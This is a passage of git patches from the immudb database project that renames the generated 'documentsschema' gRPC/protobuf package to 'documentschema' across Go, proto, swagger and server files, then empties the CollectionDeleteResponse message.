interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CollectionCreateResponse); i { case 0: return &v.state @@ -1995,7 +1993,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CollectionInformation); i { case 0: return &v.state @@ -2007,7 +2005,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CollectionGetResponse); i { case 0: return &v.state @@ -2019,7 +2017,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CollectionGetRequest); i { case 0: return &v.state @@ -2031,7 +2029,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CollectionListRequest); i { case 0: return &v.state @@ -2043,7 +2041,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CollectionListResponse); i { case 0: return &v.state @@ -2055,7 +2053,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CollectionDeleteRequest); i { case 0: return &v.state @@ -2067,7 +2065,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CollectionDeleteResponse); i { case 0: return &v.state @@ -2079,7 +2077,7 @@ func file_documentsschema_proto_init() { return nil } } - file_documentsschema_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { + file_documentschema_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Proof); i { case 0: return &v.state @@ -2092,7 +2090,7 @@ func file_documentsschema_proto_init() { } } } - file_documentsschema_proto_msgTypes[2].OneofWrappers = []interface{}{ + file_documentschema_proto_msgTypes[2].OneofWrappers = []interface{}{ (*IndexValue_NullValue)(nil), (*IndexValue_NumberValue)(nil), (*IndexValue_StringValue)(nil), @@ -2102,19 +2100,19 @@ func file_documentsschema_proto_init() { out := protoimpl.TypeBuilder{ File: protoimpl.DescBuilder{ GoPackagePath: reflect.TypeOf(x{}).PkgPath(), - RawDescriptor: file_documentsschema_proto_rawDesc, + RawDescriptor: file_documentschema_proto_rawDesc, NumEnums: 2, NumMessages: 28, NumExtensions: 0, NumServices: 1, }, - GoTypes: file_documentsschema_proto_goTypes, - DependencyIndexes: file_documentsschema_proto_depIdxs, - EnumInfos: file_documentsschema_proto_enumTypes, - MessageInfos: file_documentsschema_proto_msgTypes, + GoTypes: file_documentschema_proto_goTypes, + DependencyIndexes: file_documentschema_proto_depIdxs, + EnumInfos: file_documentschema_proto_enumTypes, + MessageInfos: file_documentschema_proto_msgTypes, }.Build() - File_documentsschema_proto = out.File - file_documentsschema_proto_rawDesc = nil - file_documentsschema_proto_goTypes = nil - file_documentsschema_proto_depIdxs = nil + File_documentschema_proto = out.File + file_documentschema_proto_rawDesc = nil + file_documentschema_proto_goTypes = nil + file_documentschema_proto_depIdxs = nil } diff --git a/pkg/api/documentsschema/documentsschema.pb.gw.go b/pkg/api/documentschema/documentschema.pb.gw.go similarity index 99% rename from pkg/api/documentsschema/documentsschema.pb.gw.go rename to pkg/api/documentschema/documentschema.pb.gw.go index e8b628a624..3025d8b132 100644 --- a/pkg/api/documentsschema/documentsschema.pb.gw.go +++ b/pkg/api/documentschema/documentschema.pb.gw.go @@ -1,12 +1,12 @@ // Code generated by protoc-gen-grpc-gateway. DO NOT EDIT. -// source: documentsschema.proto +// source: documentschema.proto /* -Package documentsschema is a reverse proxy. +Package documentschema is a reverse proxy. It translates gRPC into RESTful JSON APIs. */ -package documentsschema +package documentschema import ( "context" diff --git a/pkg/api/documentsschema/documentsschema.proto b/pkg/api/documentschema/documentschema.proto similarity index 99% rename from pkg/api/documentsschema/documentsschema.proto rename to pkg/api/documentschema/documentschema.proto index 7adeaf4c65..c666697e5d 100644 --- a/pkg/api/documentsschema/documentsschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -1,6 +1,6 @@ syntax = "proto3"; -package immudb.documentsschema; +package immudb.documentschema; import "google/api/annotations.proto"; import "google/protobuf/empty.proto"; @@ -8,7 +8,7 @@ import "google/protobuf/struct.proto"; import "schema.proto"; import "protoc-gen-swagger/options/annotations.proto"; -option go_package = "github.com/codenotary/immudb/pkg/api/documentsschema"; +option go_package = "github.com/codenotary/immudb/pkg/api/documentschema"; option (grpc.gateway.protoc_gen_swagger.options.openapiv2_swagger) = { base_path: "/api/v2", info: { diff --git a/pkg/api/documentsschema/documentsschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json similarity index 90% rename from pkg/api/documentsschema/documentsschema.swagger.json rename to pkg/api/documentschema/documentschema.swagger.json index 31c28861e8..2c8df4fd7b 100644 --- a/pkg/api/documentsschema/documentsschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -20,7 +20,7 @@ "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentsschemaCollectionCreateResponse" + "$ref": "#/definitions/documentschemaCollectionCreateResponse" } }, "default": { @@ -36,7 +36,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentsschemaCollectionCreateRequest" + "$ref": "#/definitions/documentschemaCollectionCreateRequest" } } ], @@ -52,7 +52,7 @@ "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentsschemaCollectionDeleteResponse" + "$ref": "#/definitions/documentschemaCollectionDeleteResponse" } }, "default": { @@ -82,7 +82,7 @@ "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentsschemaCollectionGetResponse" + "$ref": "#/definitions/documentschemaCollectionGetResponse" } }, "default": { @@ -112,7 +112,7 @@ "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentsschemaCollectionListResponse" + "$ref": "#/definitions/documentschemaCollectionListResponse" } }, "default": { @@ -128,7 +128,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentsschemaCollectionListRequest" + "$ref": "#/definitions/documentschemaCollectionListRequest" } } ], @@ -144,7 +144,7 @@ "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentsschemaDocumentAuditResponse" + "$ref": "#/definitions/documentschemaDocumentAuditResponse" } }, "default": { @@ -160,7 +160,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentsschemaDocumentAuditRequest" + "$ref": "#/definitions/documentschemaDocumentAuditRequest" } } ], @@ -177,7 +177,7 @@ "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentsschemaDocumentInsertResponse" + "$ref": "#/definitions/documentschemaDocumentInsertResponse" } }, "default": { @@ -193,7 +193,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentsschemaDocumentInsertRequest" + "$ref": "#/definitions/documentschemaDocumentInsertRequest" } } ], @@ -209,7 +209,7 @@ "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentsschemaDocumentProofResponse" + "$ref": "#/definitions/documentschemaDocumentProofResponse" } }, "default": { @@ -225,7 +225,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentsschemaDocumentProofRequest" + "$ref": "#/definitions/documentschemaDocumentProofRequest" } } ], @@ -242,7 +242,7 @@ "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/documentsschemaDocumentSearchResponse" + "$ref": "#/definitions/documentschemaDocumentSearchResponse" } }, "default": { @@ -258,7 +258,7 @@ "in": "body", "required": true, "schema": { - "$ref": "#/definitions/documentsschemaDocumentSearchRequest" + "$ref": "#/definitions/documentschemaDocumentSearchRequest" } } ], @@ -269,7 +269,7 @@ } }, "definitions": { - "documentsschemaCollectionCreateRequest": { + "documentschemaCollectionCreateRequest": { "type": "object", "properties": { "name": { @@ -278,26 +278,26 @@ "primaryKeys": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/documentsschemaIndexOption" + "$ref": "#/definitions/documentschemaIndexOption" } }, "indexKeys": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/documentsschemaIndexOption" + "$ref": "#/definitions/documentschemaIndexOption" } } } }, - "documentsschemaCollectionCreateResponse": { + "documentschemaCollectionCreateResponse": { "type": "object", "properties": { "collection": { - "$ref": "#/definitions/documentsschemaCollectionInformation" + "$ref": "#/definitions/documentschemaCollectionInformation" } } }, - "documentsschemaCollectionDeleteResponse": { + "documentschemaCollectionDeleteResponse": { "type": "object", "properties": { "response": { @@ -305,15 +305,15 @@ } } }, - "documentsschemaCollectionGetResponse": { + "documentschemaCollectionGetResponse": { "type": "object", "properties": { "collection": { - "$ref": "#/definitions/documentsschemaCollectionInformation" + "$ref": "#/definitions/documentschemaCollectionInformation" } } }, - "documentsschemaCollectionInformation": { + "documentschemaCollectionInformation": { "type": "object", "properties": { "name": { @@ -322,32 +322,32 @@ "primaryKeys": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/documentsschemaIndexOption" + "$ref": "#/definitions/documentschemaIndexOption" } }, "indexKeys": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/documentsschemaIndexOption" + "$ref": "#/definitions/documentschemaIndexOption" } } } }, - "documentsschemaCollectionListRequest": { + "documentschemaCollectionListRequest": { "type": "object" }, - "documentsschemaCollectionListResponse": { + "documentschemaCollectionListResponse": { "type": "object", "properties": { "collections": { "type": "array", "items": { - "$ref": "#/definitions/documentsschemaCollectionInformation" + "$ref": "#/definitions/documentschemaCollectionInformation" } } } }, - "documentsschemaDocumentAudit": { + "documentschemaDocumentAudit": { "type": "object", "properties": { "value": { @@ -359,7 +359,7 @@ } } }, - "documentsschemaDocumentAuditRequest": { + "documentschemaDocumentAuditRequest": { "type": "object", "properties": { "collection": { @@ -368,7 +368,7 @@ "primaryKeys": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/documentsschemaIndexValue" + "$ref": "#/definitions/documentschemaIndexValue" } }, "page": { @@ -381,13 +381,13 @@ } } }, - "documentsschemaDocumentAuditResponse": { + "documentschemaDocumentAuditResponse": { "type": "object", "properties": { "results": { "type": "array", "items": { - "$ref": "#/definitions/documentsschemaDocumentAudit" + "$ref": "#/definitions/documentschemaDocumentAudit" } }, "page": { @@ -404,7 +404,7 @@ } } }, - "documentsschemaDocumentInsertRequest": { + "documentschemaDocumentInsertRequest": { "type": "object", "properties": { "collection": { @@ -418,7 +418,7 @@ } } }, - "documentsschemaDocumentInsertResponse": { + "documentschemaDocumentInsertResponse": { "type": "object", "properties": { "proof": { @@ -426,7 +426,7 @@ } } }, - "documentsschemaDocumentProofRequest": { + "documentschemaDocumentProofRequest": { "type": "object", "properties": { "collection": { @@ -435,7 +435,7 @@ "primaryKeys": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/documentsschemaIndexValue" + "$ref": "#/definitions/documentschemaIndexValue" } }, "atRevision": { @@ -444,7 +444,7 @@ } } }, - "documentsschemaDocumentProofResponse": { + "documentschemaDocumentProofResponse": { "type": "object", "properties": { "proof": { @@ -452,21 +452,21 @@ } } }, - "documentsschemaDocumentQuery": { + "documentschemaDocumentQuery": { "type": "object", "properties": { "field": { "type": "string" }, "operator": { - "$ref": "#/definitions/documentsschemaQueryOperator" + "$ref": "#/definitions/documentschemaQueryOperator" }, "value": { "type": "object" } } }, - "documentsschemaDocumentSearchRequest": { + "documentschemaDocumentSearchRequest": { "type": "object", "properties": { "collection": { @@ -475,7 +475,7 @@ "query": { "type": "array", "items": { - "$ref": "#/definitions/documentsschemaDocumentQuery" + "$ref": "#/definitions/documentschemaDocumentQuery" } }, "page": { @@ -488,7 +488,7 @@ } } }, - "documentsschemaDocumentSearchResponse": { + "documentschemaDocumentSearchResponse": { "type": "object", "properties": { "results": { @@ -511,15 +511,15 @@ } } }, - "documentsschemaIndexOption": { + "documentschemaIndexOption": { "type": "object", "properties": { "type": { - "$ref": "#/definitions/documentsschemaIndexType" + "$ref": "#/definitions/documentschemaIndexType" } } }, - "documentsschemaIndexType": { + "documentschemaIndexType": { "type": "string", "enum": [ "DOUBLE", @@ -528,7 +528,7 @@ ], "default": "DOUBLE" }, - "documentsschemaIndexValue": { + "documentschemaIndexValue": { "type": "object", "properties": { "null_value": { @@ -546,7 +546,7 @@ } } }, - "documentsschemaQueryOperator": { + "documentschemaQueryOperator": { "type": "string", "enum": [ "EQ", diff --git a/pkg/api/documentsschema/documentsschema_grpc.pb.go b/pkg/api/documentschema/documentschema_grpc.pb.go similarity index 89% rename from pkg/api/documentsschema/documentsschema_grpc.pb.go rename to pkg/api/documentschema/documentschema_grpc.pb.go index 20165ce946..df7a2fc780 100644 --- a/pkg/api/documentsschema/documentsschema_grpc.pb.go +++ b/pkg/api/documentschema/documentschema_grpc.pb.go @@ -1,6 +1,6 @@ // Code generated by protoc-gen-go-grpc. DO NOT EDIT. -package documentsschema +package documentschema import ( context "context" @@ -38,7 +38,7 @@ func NewDocumentServiceClient(cc grpc.ClientConnInterface) DocumentServiceClient func (c *documentServiceClient) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*DocumentInsertResponse, error) { out := new(DocumentInsertResponse) - err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/DocumentInsert", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentInsert", in, out, opts...) if err != nil { return nil, err } @@ -47,7 +47,7 @@ func (c *documentServiceClient) DocumentInsert(ctx context.Context, in *Document func (c *documentServiceClient) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) { out := new(DocumentSearchResponse) - err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/DocumentSearch", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentSearch", in, out, opts...) if err != nil { return nil, err } @@ -56,7 +56,7 @@ func (c *documentServiceClient) DocumentSearch(ctx context.Context, in *Document func (c *documentServiceClient) DocumentAudit(ctx context.Context, in *DocumentAuditRequest, opts ...grpc.CallOption) (*DocumentAuditResponse, error) { out := new(DocumentAuditResponse) - err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/DocumentAudit", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentAudit", in, out, opts...) if err != nil { return nil, err } @@ -65,7 +65,7 @@ func (c *documentServiceClient) DocumentAudit(ctx context.Context, in *DocumentA func (c *documentServiceClient) DocumentProof(ctx context.Context, in *DocumentProofRequest, opts ...grpc.CallOption) (*DocumentProofResponse, error) { out := new(DocumentProofResponse) - err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/DocumentProof", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/DocumentProof", in, out, opts...) if err != nil { return nil, err } @@ -74,7 +74,7 @@ func (c *documentServiceClient) DocumentProof(ctx context.Context, in *DocumentP func (c *documentServiceClient) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionCreateResponse, error) { out := new(CollectionCreateResponse) - err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/CollectionCreate", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/CollectionCreate", in, out, opts...) if err != nil { return nil, err } @@ -83,7 +83,7 @@ func (c *documentServiceClient) CollectionCreate(ctx context.Context, in *Collec func (c *documentServiceClient) CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionGetResponse, error) { out := new(CollectionGetResponse) - err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/CollectionGet", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/CollectionGet", in, out, opts...) if err != nil { return nil, err } @@ -92,7 +92,7 @@ func (c *documentServiceClient) CollectionGet(ctx context.Context, in *Collectio func (c *documentServiceClient) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) { out := new(CollectionListResponse) - err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/CollectionList", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/CollectionList", in, out, opts...) if err != nil { return nil, err } @@ -101,7 +101,7 @@ func (c *documentServiceClient) CollectionList(ctx context.Context, in *Collecti func (c *documentServiceClient) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*CollectionDeleteResponse, error) { out := new(CollectionDeleteResponse) - err := c.cc.Invoke(ctx, "/immudb.documentsschema.DocumentService/CollectionDelete", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.documentschema.DocumentService/CollectionDelete", in, out, opts...) if err != nil { return nil, err } @@ -172,7 +172,7 @@ func _DocumentService_DocumentInsert_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentsschema.DocumentService/DocumentInsert", + FullMethod: "/immudb.documentschema.DocumentService/DocumentInsert", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).DocumentInsert(ctx, req.(*DocumentInsertRequest)) @@ -190,7 +190,7 @@ func _DocumentService_DocumentSearch_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentsschema.DocumentService/DocumentSearch", + FullMethod: "/immudb.documentschema.DocumentService/DocumentSearch", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).DocumentSearch(ctx, req.(*DocumentSearchRequest)) @@ -208,7 +208,7 @@ func _DocumentService_DocumentAudit_Handler(srv interface{}, ctx context.Context } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentsschema.DocumentService/DocumentAudit", + FullMethod: "/immudb.documentschema.DocumentService/DocumentAudit", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).DocumentAudit(ctx, req.(*DocumentAuditRequest)) @@ -226,7 +226,7 @@ func _DocumentService_DocumentProof_Handler(srv interface{}, ctx context.Context } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentsschema.DocumentService/DocumentProof", + FullMethod: "/immudb.documentschema.DocumentService/DocumentProof", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).DocumentProof(ctx, req.(*DocumentProofRequest)) @@ -244,7 +244,7 @@ func _DocumentService_CollectionCreate_Handler(srv interface{}, ctx context.Cont } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentsschema.DocumentService/CollectionCreate", + FullMethod: "/immudb.documentschema.DocumentService/CollectionCreate", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).CollectionCreate(ctx, req.(*CollectionCreateRequest)) @@ -262,7 +262,7 @@ func _DocumentService_CollectionGet_Handler(srv interface{}, ctx context.Context } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentsschema.DocumentService/CollectionGet", + FullMethod: "/immudb.documentschema.DocumentService/CollectionGet", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).CollectionGet(ctx, req.(*CollectionGetRequest)) @@ -280,7 +280,7 @@ func _DocumentService_CollectionList_Handler(srv interface{}, ctx context.Contex } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentsschema.DocumentService/CollectionList", + FullMethod: "/immudb.documentschema.DocumentService/CollectionList", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).CollectionList(ctx, req.(*CollectionListRequest)) @@ -298,7 +298,7 @@ func _DocumentService_CollectionDelete_Handler(srv interface{}, ctx context.Cont } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.documentsschema.DocumentService/CollectionDelete", + FullMethod: "/immudb.documentschema.DocumentService/CollectionDelete", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { return srv.(DocumentServiceServer).CollectionDelete(ctx, req.(*CollectionDeleteRequest)) @@ -310,7 +310,7 @@ func _DocumentService_CollectionDelete_Handler(srv interface{}, ctx context.Cont // It's only intended for direct use with grpc.RegisterService, // and not to be introspected or modified (even as a copy) var DocumentService_ServiceDesc = grpc.ServiceDesc{ - ServiceName: "immudb.documentsschema.DocumentService", + ServiceName: "immudb.documentschema.DocumentService", HandlerType: (*DocumentServiceServer)(nil), Methods: []grpc.MethodDesc{ { @@ -347,5 +347,5 @@ var DocumentService_ServiceDesc = grpc.ServiceDesc{ }, }, Streams: []grpc.StreamDesc{}, - Metadata: "documentsschema.proto", + Metadata: "documentschema.proto", } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index ac75e757ce..826cf5b219 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -3,10 +3,10 @@ package server import ( "context" - "github.com/codenotary/immudb/pkg/api/documentsschema" + "github.com/codenotary/immudb/pkg/api/documentschema" ) -func (s *ImmuServer) DocumentInsert(ctx context.Context, req *documentsschema.DocumentInsertRequest) (*documentsschema.DocumentInsertResponse, error) { +func (s *ImmuServer) DocumentInsert(ctx context.Context, req *documentschema.DocumentInsertRequest) (*documentschema.DocumentInsertResponse, error) { _, err := s.getDBFromCtx(ctx, "DocumentInsert") if err != nil { return nil, err @@ -14,7 +14,7 @@ func (s *ImmuServer) DocumentInsert(ctx context.Context, req *documentsschema.Do return nil, nil } -func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentsschema.DocumentSearchRequest) (*documentsschema.DocumentSearchResponse, error) { +func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.DocumentSearchRequest) (*documentschema.DocumentSearchResponse, error) { _, err := s.getDBFromCtx(ctx, "DocumentSearch") if err != nil { return nil, err @@ -22,7 +22,7 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentsschema.Do return nil, nil } -func (s *ImmuServer) CollectionCreate(ctx context.Context, req *documentsschema.CollectionCreateRequest) (*documentsschema.CollectionCreateResponse, error) { +func (s *ImmuServer) CollectionCreate(ctx context.Context, req *documentschema.CollectionCreateRequest) (*documentschema.CollectionCreateResponse, error) { _, err := s.getDBFromCtx(ctx, "CollectionCreate") if err != nil { return nil, err @@ -30,7 +30,7 @@ func (s *ImmuServer) CollectionCreate(ctx context.Context, req *documentsschema. return nil, nil } -func (s *ImmuServer) CollectionGet(ctx context.Context, req *documentsschema.CollectionGetRequest) (*documentsschema.CollectionGetResponse, error) { +func (s *ImmuServer) CollectionGet(ctx context.Context, req *documentschema.CollectionGetRequest) (*documentschema.CollectionGetResponse, error) { _, err := s.getDBFromCtx(ctx, "CollectionGet") if err != nil { return nil, err @@ -38,7 +38,7 @@ func (s *ImmuServer) CollectionGet(ctx context.Context, req *documentsschema.Col return nil, nil } -func (s *ImmuServer) CollectionList(ctx context.Context, req *documentsschema.CollectionListRequest) (*documentsschema.CollectionListResponse, error) { +func (s *ImmuServer) CollectionList(ctx context.Context, req *documentschema.CollectionListRequest) (*documentschema.CollectionListResponse, error) { _, err := s.getDBFromCtx(ctx, "CollectionList") if err != nil { return nil, err @@ -46,7 +46,7 @@ func (s *ImmuServer) CollectionList(ctx context.Context, req *documentsschema.Co return nil, nil } -func (s *ImmuServer) CollectionDelete(ctx context.Context, req *documentsschema.CollectionDeleteRequest) (*documentsschema.CollectionDeleteResponse, error) { +func (s *ImmuServer) CollectionDelete(ctx context.Context, req *documentschema.CollectionDeleteRequest) (*documentschema.CollectionDeleteResponse, error) { _, err := s.getDBFromCtx(ctx, "CollectionDelete") if err != nil { return nil, err @@ -54,7 +54,7 @@ func (s *ImmuServer) CollectionDelete(ctx context.Context, req *documentsschema. return nil, nil } -func (s *ImmuServer) DocumentAudit(ctx context.Context, req *documentsschema.DocumentAuditRequest) (*documentsschema.DocumentAuditResponse, error) { +func (s *ImmuServer) DocumentAudit(ctx context.Context, req *documentschema.DocumentAuditRequest) (*documentschema.DocumentAuditResponse, error) { _, err := s.getDBFromCtx(ctx, "DocumentAudit") if err != nil { return nil, err @@ -62,7 +62,7 @@ func (s *ImmuServer) DocumentAudit(ctx context.Context, req *documentsschema.Doc return nil, nil } -func (s *ImmuServer) DocumentProof(ctx context.Context, req *documentsschema.DocumentProofRequest) (*documentsschema.DocumentProofResponse, error) { +func (s *ImmuServer) DocumentProof(ctx context.Context, req *documentschema.DocumentProofRequest) (*documentschema.DocumentProofResponse, error) { _, err := s.getDBFromCtx(ctx, "DocumentProof") if err != nil { return nil, err diff --git a/pkg/server/server.go b/pkg/server/server.go index 42299f1f7a..3ca81ab9db 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -50,7 +50,7 @@ import ( "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/version" "github.com/codenotary/immudb/pkg/api/authorizationschema" - "github.com/codenotary/immudb/pkg/api/documentsschema" + "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/golang/protobuf/ptypes/empty" @@ -247,7 +247,7 @@ func (s *ImmuServer) Initialize() error { } schema.RegisterImmuServiceServer(s.GrpcServer, s) - documentsschema.RegisterDocumentServiceServer(s.GrpcServer, s) + documentschema.RegisterDocumentServiceServer(s.GrpcServer, s) authorizationschema.RegisterAuthorizationServiceServer(s.GrpcServer, s) grpc_prometheus.Register(s.GrpcServer) diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index 5afd9dd104..46ee7a92dc 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -6,7 +6,7 @@ import ( "net/http" "github.com/codenotary/immudb/pkg/api/authorizationschema" - "github.com/codenotary/immudb/pkg/api/documentsschema" + "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/logger" "github.com/codenotary/immudb/swagger" @@ -22,7 +22,7 @@ func StartWebServer(addr string, tlsConfig *tls.Config, s *ImmuServer, l logger. } proxyMuxV2 := runtime.NewServeMux() - err = documentsschema.RegisterDocumentServiceHandlerServer(context.Background(), proxyMuxV2, s) + err = documentschema.RegisterDocumentServiceHandlerServer(context.Background(), proxyMuxV2, s) if err != nil { return nil, err } diff --git a/swagger/swaggeroverrides.js b/swagger/swaggeroverrides.js index 10b863fa29..daf2d71b2b 100644 --- a/swagger/swaggeroverrides.js +++ b/swagger/swaggeroverrides.js @@ -5,7 +5,7 @@ window.onload = function() { window.ui = SwaggerUIBundle({ urls: [ {"url": "/api/docs/authorizationschema.swagger.json", "name": "Authorization API"}, - {"url": "/api/docs/documentsschema.swagger.json", "name": "Documents API"}, + {"url": "/api/docs/documentschema.swagger.json", "name": "Documents API"}, {"url": "/api/docs/schema.swagger.json", "name": "KV and SQL API"} ], dom_id: '#swagger-ui', From 4e2278c9aea91cb52026fd267c681fb536e5d783 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Adam=20Ra=C5=BAniewski?= Date: Thu, 9 Mar 2023 23:03:55 +0100 Subject: [PATCH 0300/1062] Collection delete response empty --- pkg/api/documentschema/docs.md | 5 - pkg/api/documentschema/documentschema.pb.go | 270 +++++++++--------- pkg/api/documentschema/documentschema.proto | 1 - .../documentschema.swagger.json | 7 +- 4 files changed, 129 insertions(+), 154 deletions(-) diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index dba9d9f54f..dd6f5e8e18 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -134,11 +134,6 @@ -| Field | Type | Label | Description | -| ----- | ---- | ----- | ----------- | -| response | [google.protobuf.Empty](#google.protobuf.Empty) | | | - - diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index f1571366f3..53680546c4 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -8,7 +8,7 @@ package documentschema import ( schema "github.com/codenotary/immudb/pkg/api/schema" - empty "github.com/golang/protobuf/ptypes/empty" + _ "github.com/golang/protobuf/ptypes/empty" _struct "github.com/golang/protobuf/ptypes/struct" _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" _ "google.golang.org/genproto/googleapis/api/annotations" @@ -1305,8 +1305,6 @@ type CollectionDeleteResponse struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - - Response *empty.Empty `protobuf:"bytes,1,opt,name=response,proto3" json:"response,omitempty"` } func (x *CollectionDeleteResponse) Reset() { @@ -1341,13 +1339,6 @@ func (*CollectionDeleteResponse) Descriptor() ([]byte, []int) { return file_documentschema_proto_rawDescGZIP(), []int{20} } -func (x *CollectionDeleteResponse) GetResponse() *empty.Empty { - if x != nil { - return x.Response - } - return nil -} - type Proof struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ 